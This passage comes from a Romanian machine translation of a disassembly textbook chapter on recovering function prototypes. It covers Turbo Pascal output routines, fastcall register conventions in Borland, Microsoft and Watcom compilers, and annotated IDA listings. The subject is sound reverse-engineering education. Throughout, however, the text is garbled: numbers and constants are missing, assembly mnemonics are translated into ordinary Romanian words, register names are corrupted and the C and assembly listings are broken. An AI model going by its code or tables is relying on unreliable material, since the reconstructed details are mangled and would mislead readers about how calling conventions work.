lângă ; COD XREF: PROGRAM+ Îp ; IDA nu a definit un prototip de funcție Ei bine, hai să o facem singuri! var = octet ptr - h ; Variabila locala Judecând după faptul că este cu x de octeți mai mare ; cadru stivă, pare a fi o matrice de x octeți Pentru că, ; lungimea maximă a unui șir în PASCAL este exact xFF octeți Se pare, ; este un buffer rezervat unui șir arg = dword ptr arg = octet ptr arg = cuvânt ptr OAh ; Funcția ia trei argumente împinge bp mov bp, sp ; Deschiderea cadrului stivei Mov axe, lOOh apelați @ StackCheck$q Word ; Verificare depășire a stivei (AX) ; Verificăm dacă stiva conține cei de octeți de care avem nevoie pentru local ; variabile sub sp, h ; Rezervăm spațiu pentru variabilele locale Ies di, [bp+arg ] ; Obținem un indicator către argumentul cel mai din dreapta împinge es împinge di ; Uite - trecem un indicator departe la argumentul arg și acesta ; segmentul nici nu a fost scos din stivă! lea di, [bp+var ] ; Obțineți un pointer către un buffer local împinge ss Capitolul Identificarea argumentelor funcției ; Împingeți segmentul său pe stivă împinge di ; Împingeți offset-ul tampon pe stivă apăsați OFFh ; Introduceți lungimea maximă a șirului apelează la @$basg$qm Stringtl Byte ; Păstrați șir ; Copiați șirul în tamponul local (deci arg este un șir) ; Într-adevăr, nu este deloc clar de ce Este imposibil de folosit ; legătură? ; Da, nu se poate face nimic - în Pascal, șirurile sunt transmise prin ; valoare :-( mov di, offset unk lE ; Obținem un pointer către bufferul de ieșire ; Aici ar trebui să vă familiarizați cu sistemul de inferență Pascal - este izbitor ; diferit de S ; În primul rând, ordinea din stânga a introducerii argumentelor pe stivă nu este ; vă permite să organizați suportul pentru proceduri cu un număr variabil ; argumente (cel puțin fără trucuri suplimentare) ; Dar WriteLn este o procedură cu un număr variabil de parametri Este ; Nu?! Exact asta nu ! Aceasta nu este o procedură, ci un operator! ; Compilatorul din etapa de compilare îl împarte în mai multe apeluri ; proceduri pentru a scoate fiecare argument individual De aceea ; în codul compilat, fiecare procedură va lua un fix ; număr de argumente În cazul nostru, vor fi trei dintre ele: primul pentru ieșire ; suma a două numere - aceasta se face prin procedura WriteLongint, a doua - ; pentru a afișa caracterul spațiu în formă simbolică - acest lucru se face prin ; WriteChar și, în sfârșit, ultimul - pentru ieșirea unui șir - WriteSting ; Gândindu-ne mai departe - sub Windows scoateți direct șirul în fereastră și ; nu poți uita imediat de asta, pentru că fereastra în orice moment poate ; necesită redesenare - sistemul de operare nu îl salvează ; continut – intr-un mediu grafic la rezolutie mare ; aceasta ar duce la un cost mare de memorie ; Codul care scoate un șir trebuie să poată repeta ieșirea atunci când este solicitat ; Oricine a programat vreodată sub Windows își amintește probabil asta ; toate ieșirile trebuiau plasate în handler-ul de mesaje WM PAINT ; Turbo Pascal, pe de altă parte, vă permite să accesați o fereastră Windows în același mod ca ; ca la consola Și dacă da, trebuie să depoziteze totul undeva, mai devreme ; afișate pe ecran Pentru că variabilele locale mor cu ; la finalizarea procedurii lor, acestea nu sunt potrivite pentru stocarea tampon ; Ramane fie un heap, fie un segment de date Pascal folosește pe acesta din urmă − ; tocmai am primit un pointer către un astfel de buffer ; În plus, pentru a îmbunătăți performanța de inferență, Turbo-Pascal implementează ; cache simplu Funcțiile WriteLingint, WriteChar, WriteString merge ; rezultatul activității sale în formă simbolică este chiar în acest tampon și în ; sfârșitul este urmat de un apel la WriteLn, care trimite conținutul buffer-ului în fereastră ; Sistemul de rulare își monitorizează redesenările și, dacă este necesar, ; repetă ieșirea fără participarea programatorului împinge ds împinge di ; Împingeți adresa buffer-ului pe stivă Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt mov al, [bp+arg ] ; Tipul de argument Arg este Byte xor ah, ah ; Resetăm octetul înalt al registrului ah addax, [bp+arg ] ; Adăugați arg la arg Pentru că al a fost pre-extins ; la AX, atunci arg este de tip Word, deoarece la adăugarea a două numere diferite; tipul PASCAL le extinde la cel mai mare ; În plus, procedura de apelare transmite cu acest argument valoarea ; x , care clar nu s-ar potrivi în Byte xor dx, dx ; Resetați DX împinge dx ; și împingeți-l pe stivă împinge toporul ; Împingeți suma celor două argumente din stânga pe stivă apăsați ; Un alt zero! sunați la @Write$qm Text Longint Word ; Scrie (var f; v: Longint; lățime: Cuvânt) ; Funcția WriteLongint are următorul prototip: ; WriteLongint(Text far &, at Longint, counttWord); Unde - ,- Text departe & - pointer către tamponul de ieșire ; a - iese un întreg lung ; count - câte variabile trebuie afișate (zero - o variabilă) ; Deci, în cazul nostru, derivăm o variabilă - suma a două ; argumente Mică adăugare - funcția WriteLongint nu ar trebui să fie ; Convenția PASCAL, deoarece nu curăță complet stiva, plecând ; indicați spre un buffer de pe stivă Dezvoltatorii compilatorului au făcut acest pas ; pentru a crește performanța: o dată va fi nevoie de un pointer către buffer; și alte funcții (cel puțin una dintre ele - WriteLn), de ce ar trebui; apoi trageți-l împreună, apoi încărcați-l febril? ; Dacă vă uitați la sfârșitul funcției WriteLongint, veți găsi acolo ; RET , adică funcția împinge două argumente - două cuvinte mașină pe ; Longint și un cuvânt pe număr ; Este un mic detaliu tehnic frumos Ea este mică ; mic, dar confuz! (mai ales dacă cercetătorul ; nu este familiarizat cu sistemul Pascal I/O) apăsați Oh; ' ' ; Împingeți următorul argument transmis funcției WriteLn în stivă ; (indicatorul către buffer este încă pe stivă) apăsați ; Trebuie să afișăm un singur caracter Capitolul Identificarea argumentelor funcţiei sunați la @Write$qm Text Char Word ; Writețvar f;c: Char; lățime: Cuvânt) lea di, [bp+var ] ; Obținem un pointer către o copie locală a șirului transmis funcției împinge ss împinge di ; Îi punem adresa pe stivă împinge O ; Ieșiți doar o linie! sunați la @Write$qm Textm String Word ; Writețvar f; s: șir; lățime: cuvânt) apelează la @WriteLn$qm Text ; WriteLn(var f: Text) ; Se pare că nu sunt trecuți parametri funcției, dar de fapt, pornit ; în partea de sus a stivei este un indicator către buffer și așteaptă „cea mai bună oră” ; După finalizarea WriteLn, acesta va fi scos din stivă sunați la @ IOCheck$qy ; ieșire dacă eroare ; Se verifică dacă operația de ieșire a avut succes Lasă ; Închideți cadrul stivei retn ; Scoate opt octeți din stivă OK, acum știm tot ce avem nevoie ; pentru a restabili prototipul procedurii noastre Arata cam asa: ; MyProc(a:Byte, b:Word, c:String); MyProc endp Da, Turbo Pascal s-a dovedit a fi complicat! Analiza programului compilat cu ajutorul acestuia ne-a învățat o lecție foarte importantă - nu poți fi niciodată sigur că o funcție scoate din stivă toate argumentele transmise acesteia și, cu atât mai mult, nu poți determina numărul de argumente după număr de cuvinte-mașină scoase din stivă! Convenții de scurtătură - fa stea II Indiferent cât de neproductivă ar fi trecerea argumentelor prin stivă, tipurile de apeluri către stdcall și cdecl sunt standardizate, așa că vă place sau nu, dar trebuie să le urmați În caz contrar, modulele compilate de un singur compilator (cum ar fi bibliotecile) vor fi incompatibile cu modulele compilate de alți compilatori Cu toate acestea, dacă funcția apelată este compilată de același compilator ca și cel apelant, nu este nevoie să respectați convențiile de tip și puteți utiliza argumente mai eficiente care trec prin registre Mulți programatori începători sunt surprinși: de ce trecerea argumentelor prin registre nu este încă standardizată și este puțin probabil să fie standardizată deloc? Răspuns: și de către cine ar putea fi standardizat? Comitete de standarde C și C++? Desigur că nu! - toate soluțiile dependente de platformă sunt lăsate în seama dezvoltatorilor de compilatori - fiecare dintre ei este liber să le implementeze în felul său sau să nu le implementeze deloc „Ei bine, v-am convins”, un alt cititor nu va fi de acord, „dar ceea ce îi împiedică pe dezvoltatorii de compilatoare Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt o platformă specifică pentru a conveni asupra acordurilor comune La urma urmei, au fost de acord să treacă valoarea returnată de funcție prin [E]ax: [[E]dx], deși standardul nu spune nimic despre anumite registre Ei bine, dezvoltatorii sunt parțial de acord: majoritatea compilatoarelor pe biți au aderat la convențiile obișnuite (deși acest lucru nu a fost prea trâmbițat cu voce tare), dar fără pretenții de compatibilitate unul cu celălalt Un apel rapid este ceea ce se numește un apel rapid pentru a asigura performanță maximă Tehnica de optimizare nu stă pe loc și introducerea unui standard este ca și cum ai lega un kettlebell de picior Pe de altă parte, câștigul mediu din trecerea argumentelor prin registre este de unu la sută, motiv pentru care mulți dezvoltatori de compilatoare renunță la viteză în favoarea ușurinței implementării În plus, dacă performanța este atât de critică, utilizați funcții inline Cu toate acestea, toate aceste argumente sunt de interes în primul rând pentru programatori, în timp ce cercetătorii de programe sunt preocupați nu de eficiență, ci de restaurarea prototipurilor funcționale Este posibil să aflăm ce argumente are o funcție fastcaii fără a-i analiza codul (adică să ne uităm doar la funcția de apelare)? Răspunsul extrem de popular „Nu, asta nu este posibil, deoarece compilatorul transmite argumente în cele mai „convenabile” registre” este greșit, iar vorbitorul demonstrează atât de clar neînțelegerea completă a tehnicii de compilare Există un astfel de termen ca „unitate de traducere” - în funcție de implementare, compilatorul poate fie traduce întregul text al programului ca întreg (ceea ce este foarte scump, deoarece trebuie să stocați întregul arbore de analiză în memorie), sau traduceți fiecare funcție separat, salvând în memorie doar numele acesteia și un link către codul generat pentru aceasta Compilatoarele de primul tip sunt extrem de rare Compilatoarele de al doilea tip sunt mai productive, necesită mai puțină memorie și sunt mai ușor de implementat Cu alte cuvinte, sunt bune pentru toată lumea, cu excepția incapacității complete de optimizare „end-to-end” – fiecare funcție este optimizată „personal” și independent de cealaltă Prin urmare, compilatorul nu poate alege registrele optime pentru transmiterea argumentelor, deoarece nu știe cum le manipulează funcția apelată Deoarece funcțiile sunt traduse independent, astfel de compilatoare trebuie să respecte convențiile comune, chiar dacă nu este benefic Astfel, cunoscând „scrierea de mână” a unui anumit compilator, puteți restaura cu ușurință prototipul funcției Borland C++ Borland C++ x realizează transferul de argumente prin registre: ax (al), dx (dl), in (bl), iar când registrele se epuizează, argumentele încep să fie împinse pe stivă, fiind împinse în ea de la stânga la dreapta și împins în afară de funcția apelată în sine (ca în cazul stdcall) Schema de trecere a argumentelor este destul de interesantă - compilatorul nu atribuie registrele „săi” fiecărui argument, ci oferă fiecăruia acces liber la o „stivă” de candidați, aranjați în ordinea preferințelor Fiecare argument elimină câte registre din stivă are nevoie, iar când stiva este epuizată, atunci trebuie să mergeți pe stivă Excepție este tipul long int, care este întotdeauna trecut prin dx:AX (și cuvântul înalt este trecut la dx), iar dacă acest lucru nu este posibil, atunci prin stivă Dacă fiecare argument nu ia mai mult de biți (cum se întâmplă de obicei), atunci primul argument din stânga este plasat în ax (al), al doilea - în dx (dl), al treilea - în (bl) Dacă primul argument din stânga este de tip long int, atunci elimină simultan două registre din stivă - dx: ax, atunci al doilea argument rămâne cu registrul bx (bl), iar al treilea este nimic ( iar apoi se trece prin stivă) Când un int lung este trecut ca al doilea argument, acesta este împins în stivă, deoarece axa registrului de care are nevoie este deja ocupată de primul argument, iar al treilea argument este trecut prin dx În cele din urmă, fiind al treilea argument din stânga, long int merge pe stivă, iar primele două argumente sunt trecute prin ax (al) și, respectiv, dx (dl) Capitolul Identificarea argumentelor funcției Indicatorii departe și float-urile sunt întotdeauna trecute prin stiva principală (și nu stiva coprocesorului, așa cum se aude uneori și dictează bunul simț) Ordinea preferințelor pentru Borland C++ x la trecerea argumentelor cu convenția fastcall este descrisă pe scurt în Tabelul Tabelul Borland C++ x ordine de preferință la trecerea argumentelor prin convenția fastcall Tip Preferință char AL DL BL int AX DX BX long int DX:AX Indicatorul din mijloc AX DX BX Stiva de indicatori departe stiva plutitoare stivă dublă Borland C++ x este foarte asemănător cu predecesorul său, compilatorul Borland C++ x, cu excepția faptului că preferă cx în loc de int și pune argumente int și long int în oricare dintre registrele adecvate de de biți, nu neapărat dx:AX Totuși, acest lucru era de așteptat când compilatorul a fost comutat de la modul I la modul pe de biți Ordinea preferințelor pentru Borland C++ x la trecerea argumentelor cu convenția fastcall este descrisă pe scurt în Tabelul Tabelul Ordinea de preferință Borland C++ x la trecerea argumentelor prin convenția fastcall Tip Preferință char AL DL CL int EAX EDX ECX long int EAX EDX ECX Aproape de indicatorul EAX EDX ECX Stiva de indicatori departe stiva plutitoare stivă dublă Microsoft C++ Microsoft C++ se comportă similar cu compilatorul Borland C++ x, cu excepția faptului că inversează ordinea preferințelor candidaților care trec indicatorul, împingând primul Și acest lucru este corect, deoarece microprocesoarele timpurii x nu suportau adresarea indirectă nici prin ax, nici prin dx, iar valoarea transmisă funcției trebuia să fie trecută fie în in, fie în si sau DI Ordinea preferințelor compilatorului Microsoft C++ x la transmiterea argumentelor conform convenției fastcall este descrisă în Tabelul Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Tabelul Ordinea de preferință Microsoft C++ x la trecerea argumentelor prin convenția fastcall Tip Preferință char AL DL BL int AX DX BX long int DX: AX Aproape de indicatorul BX AX DX Stiva de indicatori departe stiva plutitoare stivă dublă Microsoft Visual C++ x - x, dacă este posibil, trece primul argument de la stânga în registrul esx, al doilea argument în registrul edx și toate celelalte prin stivă Valorile reale și indicatorii departe sunt întotdeauna trecute pe stivă Argument de tip int (tip non-standard, de biți un număr întreg introdus de Microsoft) este întotdeauna transmis pe stivă Dacă PS este primul argument din stânga, atunci al doilea argument este trecut prin esx, iar al treilea argument este prin edx În consecință, dacă int este al doilea argument, atunci primul este trecut prin esx, iar al treilea prin edx Ordinea preferințelor pentru Microsoft Visual C++ x - x la transmiterea argumentelor conform convenției fastcall este descrisă în tabel Tabelul Microsoft Visual C++ x - x ordinea de preferință atunci când se transmit argumente prin convenția fastcall Tip Preferință char CL DL int ECX EDX stiva int long int ECX - Aproape de indicatorul ECX EDX - Stiva de indicatori departe stiva plutitoare stivă dublă Watcom C Compilatorul de la Watcom este foarte diferit de compilatoarele de la Borland și Microsoft În special, nu acceptă cuvântul cheie fastcall (care, apropo, duce la probleme serioase de compatibilitate), dar implicit încearcă întotdeauna să treacă argumente prin registre În loc de „teancul de preferințe” general acceptat, Watcom își atribuie rigid registrul fiecărui argument: primul - eax, al doilea - edx, al treilea - eux, al patrulea - esx și dacă un argument nu poate fi plasat în register, este împins pe stivă, la fel ca toate celelalte argumente din dreapta acestuia În special, tipurile float și double sunt împinse implicit pe stiva procesorului principal, ceea ce strică întreaga imagine! Schema implicită de transmitere a argumentelor utilizată de compilatorul Watcom este descrisă pe scurt în Tabelul Capitolul Identificarea argumentelor funcţiei Tabelul Schema implicită de trecere a argumentelor de către Watcom Compiler Tip Argument char AL DL BL CL int EAX EDX EBX ECX long int EAX EDX EBX ECX Aproape de indicatorul ECX EDX EBX ECX far pointer stivă stivă stivă stivă float stack CPU stack CPU stack CPU stack CPU stivă FPU stivă FPU stivă FPU stivă FPU stivă dublă CPU stivă CPU stivă CPU stivă CPU stivă FPU stivă FPU stivă FPU stivă FPU Dacă se dorește, programatorul își poate specifica „manual” propria ordine de transmitere a argumentelor recurgând la pragma aux, care are următorul format: #pragma nume funcție aux parm [listă de înregistrare] Lista registrelor valide pentru fiecare tip de argument este dată în Tabel Tabelul Cazuri valide pentru transmiterea diferitelor tipuri de argumente în Watcom C Tip Cazuri permise char EAX EBX ECX EDX ESI EDI int EAX EBX ECX EDX ESI EDI long int EAX EBX ECX EDX ESI EDI În apropierea indicatorului EAX EBX ECX EDX ESI EDI Indicator departe DX:EAX CX:EBX CX:EAX CX:ESI DX:EBX DI:EAX CX:EDI DX:ESI DI:EBX SI:EAX CX:EDX DX:EDI DI:ESI SI:EBX BX:EAX FS:ECX FS:EDX FS:EDI FS:ESI FS:EBX FS:EAX GS:ECX GS:EDX GS:EDI GS:ESI GS:EBX GS:EAX DS:ECX DS:EDX DS:EDI DS:ESI DS:EBX DS:EAX ES:ECX ES:EDX ES:EDI ES:ESI ES:EBX ES:EAX float ??? ??? ??? ??? ??? dublu EDX:EAX ECX:EBX ECX:EAX ECX:ESI EDX:EBX EDI:EAX ECX:EDI EDX:ESI EDI:EBX ESI:EAX ECX:EDX EDX:EDI EDI:ESI ESI:EBX EBX:EAX Câteva precizări - în primul rând, argumentele de tip char sunt transmise nu în registre de , ci în registre de de biți și, în al doilea rând, este izbitor un număr neașteptat de mare de perechi posibile de registre pentru transferul unui pointer departe, iar un segment poate fi transferat nu numai în registre de segment, ci și în registre de uz general pe I biți Argumentele reale pot fi trecute prin stiva de coprocesor - tot ce trebuie să faceți este să specificați în loc de numele registrului și asigurați-vă că ați compilat programul cu comutatorul - (sau -fpi, -fpu ), indicând compilatorului acel coprocesor instrucțiunile sunt permise Documentația Watcom afirmă că argumentele duble pot fi transmise și prin perechi de registre de uz general pe de biți Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Astfel, atunci când examinăm programele compilate cu compilatorul Watcom, trebuie să fii pregătit pentru faptul că argumentele pot fi transmise în aproape orice registru pe care programatorul dorește să-l folosească Transmiteți și primiți identificarea registrului Deoarece apelantul și apelantul sunt forțați să urmeze convențiile comune atunci când trece argumente prin registre, compilatorul trebuie să plaseze argumente în registrele pe care funcția apelată se așteaptă să fie Ca urmare, înaintea fiecărei funcții care urmează convenția fastcall, există un cod care „amestecă” conținutul registrelor într-un mod strict definit Cum - depinde deja de compilatorul specific Cele mai populare scheme de trecere a argumentelor au fost deja discutate mai devreme, nu vom reveni la această problemă aici Dacă compilatorul „dvs ” nu este în listă (ceea ce este destul de probabil - compilatorii cresc acum ca ciupercile după ploaie), încercați să stabiliți singur „caracterul” său experimental sau aruncați o privire la documentație De fapt, dezvoltatorii, cu rare excepții, nu dezvăluie astfel de subtilități (și nici măcar din dorința de a le ascunde în secret, doar dacă fiecare octet al compilatorului este documentat, un set complet de documentație va deveni insuportabil) Totuși, s-ar putea să ai noroc Daca nu, nicio problema! Această problemă va fi discutată în detaliu în secțiunea „Tehnici de investigare a trecerii argumentelor de către un compilator necunoscut” mai târziu în acest capitol Analizând codul funcției apelante, nu este întotdeauna posibil să recunoașteți trecerea argumentelor prin registre (bine, cu excepția faptului că inițializarea lor va fi prea evidentă), așa că trebuie să vă referiți direct la funcția apelată Registrele care sunt stocate pe stivă imediat după ce au primit controlul unei funcții sunt, în marea majoritate a cazurilor, nu registre care trec argumente și pot fi șterse din lista „candidaților” Printre restul, căutăm să vedem dacă există vreunul al cărui conținut este folosit fără inițializare explicită Ca o primă aproximare, funcția preia argumente prin aceste registre O examinare mai atentă a problemei relevă mai multe avertismente În primul rând, argumentele implicite ale funcției pot fi (și foarte des sunt) trecute prin registre - pointerul this, pointerii către tabelele virtuale ale obiectului etc În al doilea rând, dacă programatorul, în speranța că valoarea variabilei după declarație ar trebui să fie egală cu zero, uită de inițializare, iar compilatorul îl plasează într-un registru, apoi la analiza programului, acesta poate fi luat ca argument de funcție trecut prin registru Cel mai interesant lucru este că acest registru poate fi, prin coincidență, inițializat explicit de către funcția de apelare Să fie, de exemplu, programatorul înainte de aceasta a numit o funcție, a cărei valoare de returnare (plasată de compilator în eax) nu a fost folosită, iar compilatorul a plasat o variabilă neinițializată în eax Mai mult decât atât, dacă funcția returnează zero la finalizarea ei normală (cum se întâmplă adesea), atunci programul poate funcționa Pentru a identifica un astfel de bug, cercetătorul va trebui să analizeze algoritmul - eax conține într-adevăr codul pentru succesul finalizarea funcției, sau există o „suprapunere” variabile? Totuși, dacă renunțăm la cazurile „clinice”, trecerea argumentelor prin registre nu complică foarte mult analiza, pe care o vom vedea acum Studiu practic al mecanismului de trecere a argumentelor prin registre Pentru a consolida tot ceea ce tocmai am spus, să ne uităm la exemplul din Lista Observați directivele de compilare condiționată introduse pentru compatibilitate cu diferite compilatoare Listare Un exemplu care ilustrează trecerea argumentelor prin registre #include #include #dacă este definit( BORLANDC ) || definit ( MSC VER) Capitolul Identificarea argumentelor funcţiei // Această ramură se compila numai cu compilatoarele Borland C++ și Microsoft C++ // care acceptă cuvântul cheie fastcall apel rapid #endif // Funcția MyFunc cu diferite tipuri de argumente pentru a demonstra mecanismul // transferurile lor MyFunc(char a, int b, long int c, int d) { #dacă este definit( WATCOMC ) // Și această ramură este concepută special pentru WATCOM C // Aux pragma impune ordinea în care argumentele sunt transmise // următoarele registre: EAX ESI EDI EBX #pragma aux MyFunc parm [EAX] [ESI] [EDI] [EBX]; #endif returnează a+b+c+d; principal() printf("%x\n",MyFunc( x , x , x , x )); întoarce ; Compilarea acestui exemplu cu compilatorul Microsoft Visual C++ ar trebui să arate ca Lista - ' Lista b/Div yy|{OD exemplu (Listing ) care ilustrează transferul altorguyotv Via peworpw; compilat cu Microsoft Visual C++ proc principal lângă C DE XREF: start+AFip împinge ebp mov ebp, esp apăsați apăsați ; Argumentele care lipsesc registrele sunt trecute pe stivă, ; intrând acolo de la dreapta la stânga, iar funcția apelată le curăță de acolo ; (adică totul se întâmplă conform convenției stdcall) mov edx, ; Al doilea argument din stânga este trecut prin EDX ; Este ușor să-i determinați tipul - este int Acestea clar nu este un char, ; dar nici un pointer ( -valoare ciudată pentru un pointer) mov c , ; Primul argument char din stânga este trecut prin cі ; (numai variabilele de tip char au o dimensiune de biți) apelați MyFunc ; Este deja posibilă restaurarea prototipului funcției MyFunc(char, int, int, int) ; Da, am făcut o greșeală și am luat tipul long int pentru int, dar de când în ; compilator Microsoft Visual C++ aceste tipuri sunt identice, o astfel de eroare ; poate fi neglijat Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt împinge max ; Trecem rezultatul funcției printf push offset asc ; „%x\n” apelați printf adăugați esp, xor eax, eax pop ebp retn endp principal MyFunc proc lângă COD XREF: principal+EÎp var = dword ptr - var = octet ptr - arg = dword ptr arg = dword ptr OCh ; Doar două argumente au fost trecute prin stiva de funcții și au fost cu succes ; recunoscut de IDA Pro împinge ebp mov ebp, esp sub esp ; Rezervăm octeți pentru variabilele locale mov[ebp+var ], edx ; Registrul EDX nu a fost inițializat în mod explicit înainte de a fi încărcat în ; variabila locală var Deci este folosit pentru transfer ; argumente! Deoarece acest program a fost compilat de compilator ; Microsoft Visual C, despre care se știe că transmite argumente în registre ; ECX:EDX, putem concluziona că avem de-a face cu al doilea, având în vedere ; în stânga, argumentul funcției și undeva mai jos textul ar trebui ; întâmpinați un apel la ECX - primul argument din stânga funcției ; (Deși nu neapărat - primul argument al funcției ; poate fi sau nu utilizat) mov [ebp+var ], cl ; Într-adevăr, apelul către CL nu a întârziat să apară ; Deoarece tipul char este trecut prin CL, primul argument este probabil ; funcții - char O anumită incertitudine este cauzată de faptul că funcția poate ; accesați doar octetul mic al argumentului int ; Cu toate acestea, uitându-ne la codul funcției de apelare, putem vedea asta ; Funcției i se transmite un char, nu un int În același timp, remarcăm și dezavantajul ; compilator - a meritat să treci prin argumente ; registre pentru a le trimite imediat la variabilele locale ; La urma urmei, accesul la memorie elimină toate beneficiile unui apel rapid! ; Un astfel de apel „rapid” nu este nici măcar rapid pentru a apela limba movsx ex, [ebp+var ] ; EAX este încărcat cu primul argument din stânga transmis prin CL, cum ar fi ; char cu extensia semnată la doubleword Deci asta ; caracter semnat (adică caracterul implicit pentru Microsoft Visual C++) adăugați eax, [ebp+var ] Capitolul Identificarea argumentelor funcţiei ; Adăugăm EAX cu al doilea argument din stânga adăugați eax, [ebp+arg ] ; Adăugăm rezultatul adăugării anterioare cu al treilea argument din stânga, ; trecut prin stivă adăugați eax, [ebp+arg ] ; și adăugați toate acestea la al patrulea argument, ; a trecut de asemenea pe stiva mov esp, ebp pop ebp ; Închideți cadrul stivei retn ; Curățăm stiva după noi, așa cum ar trebui să fie conform acordului de apelare rapidă MyFunc endp Acum să comparăm acest lucru cu rezultatul compilării Borland C++ (Listarea ) d Listarea Cod dezasamblat al unui exemplu (Listarea ) care ilustrează trecerea argumentelor prin registre, compilat cu Borland C++ ; int cdecl main(int argc,const char **argv,const char *envp) jnain proc aproape ; DATE XREF: DATE: J-o Argc = dword ptr Argv = dword ptr OCh Envp = dword ptr lOh push ebp mov ebp, esp apăsați ; Trecând argumentul pe stivă Coborând ochii, găsim o limpede ; inițializarea registrelor ECX, EDX, AL Pentru al patrulea argument ; nu erau suficiente registre și trebuia trecut prin stivă Mijloace, ; al patrulea argument al funcției din stânga este x muta ex, mov edx, mișcare, ; Acest cod nu poate fi altceva decât transmiterea de argumente prin ; registre apelați MyFunc împinge max push offset unk ; format apelați printf adăugați esp, xor eax, eax pop ebp Partea a III-a Identificarea structurilor cheie în limbaje de nivel înalt retn principal endp MyFunc proc lângă C DE XREF: principal+llip arg = dword ptr ; Un singur argument a fost trecut prin stiva de funcții împinge ebp mov ebp, esp ; Deschiderea cadrului stivei movsx ex, al ; Borland a generat un cod mai bun decât Microsoft prin nepunerea ; se înregistrează la o variabilă locală, salvând memorie In orice caz, ; dacă a fost setată o cheie de optimizare adecvată, ; Microsoft Visual C++ ar fi procedat exact la fel ; De asemenea, rețineți că Borland se ocupă de argumente ; în expresii de la stânga la dreapta în ordinea în care sunt enumerate în prototip ; funcții, în timp ce Microsoft Visual C++ face opusul adauga edx, eax adauga ecx, edx ; Registrele EDX și CX nu au fost inițializate, ceea ce înseamnă că funcțiile din ele au fost ; argumente trecute mov edx, [ebp+arg ] ; Încărcarea în EDX a ultimului argument al funcției trecut prin stivă adauga ecx, edx ; pliază din nou mov eax, esx ; Îl trecem la EAX (în EAX, funcția returnează rezultatul completării ei) pop ebp retn ; Curățăm teancul MyFunc endp În cele din urmă, compilarea aceluiași exemplu cu Watcom C ar trebui să arate ca Lista - Lista Codul dezasamblat al exemplului (Listingul , }, ilustrând trecerea argumentelor ' prin registre, compilat cu Watcom C main proc lângă C DE XREF: CMaip+ Ip împinge h sunați CHK ; Verificarea depășirii stivei împinge ebx împinge esi push edi ; Salvați registrele pe stivă Capitolul Identificarea argumentelor funcţiei mișcare ebx mov edit muta esi, mutare eax, ; Uite, argumentele sunt trecute prin registrele pe care le-am specificat ; Mai mult, rețineți că primul argument char este transmis prin ; Registrul pe de biți EAX Acest comportament WATCOM este extrem ; face dificilă restaurarea prototipurilor de funcții În acest caz, ; atribuirea de valori registrelor are loc în ordinea declarării ; argumente în prototipul funcției, numărând din dreapta ; Dar, din păcate, nu este întotdeauna cazul apelați MyFunc împinge max push offset unk suna printf adăugați esp, xor eax, eax pop edit pop esi pop ebx retn main endp MyFunc proc lângă COD XREF main + ip ; Funcția nu primește niciun argument pe stivă apăsați sunați la SNK și еах, OFFh ; Reducerea la zero a celor douăzeci și patru de biți superiori, cuplată cu accesul la registru ; înainte de inițializare sugerează că un tip este trecut prin EAX ; char Ce fel de argument nu putem spune, vai adauga esi, eax ; Registrul ESI nu a fost inițializat de funcția noastră, prin urmare ; un argument de tip int este trecut prin el Se poate presupune că ; este al doilea argument din stânga în prototipul funcției, deoarece (dacă nimic ; nu interferează), registrele din funcția de apelare sunt inițializate ; după ordinea lor de enumerare în prototip, numărând din dreapta, și ; expresiile sunt evaluate de la stânga la dreapta ; Desigur, ordinea reală a argumentelor nu este critică, dar ; Totuși, este bine dacă îl poți restaura lea eax, [esi+edi] ; Crezi că EAX încarcă un pointer? ; Funcțiile transmise ESI și EDI sunt și indicatori? EAX cu al lui ; tipul char devine foarte asemănător cu un index ; Vai! Compilatorul WATCOM este prea viclean când analizează programe, ; compilat cu el, este foarte ușor să cazi în gafe ; Da, EAX este un pointer, în sensul cu care este obișnuit LEA ; calculând suma ESI și EDI, dar accesând memoria prin acest pointer Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; nu apare nici în funcția apelant, nici în funcția apelată Prin urmare, ; argumentele funcției nu sunt pointeri, ci constante adăugați eax, ebx ; În mod similar, EDX conține argumentul transmis funcției ; Deci prototipul funcției ar trebui să arate astfel: ,- MyFunc(char a, int b, int c, int d) ; Cu toate acestea, ordinea argumentelor poate fi diferită retn MyFunc endp După cum puteți vedea, nu este nimic deosebit de dificil în trecerea argumentelor prin registre, puteți chiar să restaurați prototipul original al funcției apelate Cu toate acestea, situația tocmai discutată este mai degrabă idealizată, iar în programele reale trecerea numai a valorilor imediate este rară Acum că ne simțim confortabil cu apelurile rapide, haideți să dezasamblam exemplul mai dificil prezentat în Lista - Lista Exemplu greu cu fastcall #dacă este definit( BORLANDC ) || definit ( MSC VER) apel rapid #endif MyFunc(char a, int *b, int c) { #dacă este definit( WATCOMC ) #pragma aux MyFunc parm [EAX] [EBX] [ECX]; #endif returnează a+b[ ]+c; principal() ( int a= ; printf("%x\n",MyFunc(strlen(" ")),&a,strlen(" "))}; } Compilarea exemplului din Lista - cu Microsoft Visual C++ ar trebui să arate ca Lista - Listare Rezultatul compilării unui exemplu complex de apelare rapidă (Listing - ) cu Compilatorul Microsoft Visual C++ proc principal lângă C DE XREF: start+AF^p var = dword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ecx împinge esi ; Salvați registrele pe stivă mov [ebp+var ], Capitolul Identificarea argumentelor funcției ; Atribuim variabilei locale var de tip int valoarea ; Tipul este determinat pe baza faptului că variabila ocupă octeți push offset a ; const char * ; Trecem un pointer către șirul „ ” funcției strlen ; Argumentele la funcția MyFunc sunt transmise de la dreapta la stânga așa cum era de așteptat call strlen adăugați esp, împinge eax ; Aici - fie salvăm valoarea returnată de funcție pe stivă, ; sau treceți-l la următoarea funcție lea esi, [ebp+var ] ; În ESI, introducem un pointer către variabila locală var push offset al ; const char * ; Trecem indicatorul la șirul „ ” la funcția strlen call strlen adăugați esp, mov cl, al ; Valoarea returnată este copiată în registrul CL și mai jos este inițializată ; edx Deoarece, ECX:EDX sunt folosite pentru a transmite argumente ; funcții fastcall, inițialând aceste două registre înainte de a apela ; funcțiile clar nu sunt aleatorii! Se poate presupune că prin CL se transmite ; argumentul din stânga de tip char mov edx, esi ; ESI conține un pointer către var , de unde al doilea argument ; funcția, de tip int, introdusă în EDX, este trecută prin referință apelați MyFunc ; Prototipul funcției preliminare arată astfel: ; MyFunc(car *a, int *b, inc c) ; De unde argumentul? Și amintiți-vă, EAX a fost împins în stiva de mai sus și ; nici înainte 